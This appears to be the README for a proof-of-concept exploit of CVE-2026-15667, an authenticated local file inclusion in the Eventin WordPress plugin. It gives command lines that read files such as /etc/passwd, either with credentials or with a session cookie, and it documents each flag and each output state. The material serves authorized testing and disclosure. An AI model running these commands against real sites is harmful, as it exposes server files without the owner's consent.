## https://sploitus.com/exploit?id=B5E02320-D782-51C7-85DF-546AC7E50E64
# CVE-2026-15667
CVE-2026-15667 WordPress Event Solution LFI POC
Eventin (WordPress plugin `wp-event-solution`) ≤ 4.1.22 — authenticated (Contributor+) local file inclusion via the `event_layout` REST field.
For authorized testing only. Do not run this against systems you do not own or have permission to test.
**Requires:** Python 3, standard library only.
```
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --test
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --test --uname USER --password PASS
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --file /etc/passwd --uname USER --password PASS
python3 cve-2026-15667-eventin-lfi.py -u http://TARGET --file /etc/passwd --session 'wordpress_logged_in_HASH=...'
```
| Flag | What it does |
|---|---|
| `-u` / `--url` | WordPress site root (required). `http://` or `https://`; a hostname is tried as HTTPS first, then HTTP. Self-signed TLS is retried automatically. |
| `--test` | Guest: plugin version + REST route. With auth: POST a traversal and report if it stored |
| `--file PATH` | Include `PATH` through the LFI and print output. Needs auth |
| `--uname` | WordPress username (Contributor+) |
| `--password` | WordPress password |
| `--session` | Browser `Cookie` header (or `wordpress_logged_in_*=...`). Skips `/wp-login.php` |
`--uname`/`--password` and `--session` are interchangeable. You need one pair or the cookie for `--file` and for the authenticated half of `--test`.
`--test` with no credentials is unauthenticated (readme + `/wp-json/eventin/v2/events`). The include itself is not.
The plugin includes `{layout}.php`, so `--file /etc/passwd` requests `/etc/passwd.php`. Pass a `.php` path, or a path that exists after `.php` is appended.
Stdout: `VERSION`, `ROUTE`, `PRESENT`, `NEED_AUTH`, `VULNERABLE`, `NOT_VULNERABLE`, `AUTH_FAILED`, file contents.
CVE: [CVE-2026-15667](https://vulners.com/cve/CVE-2026-15667). Reported by Wordfence PRISM.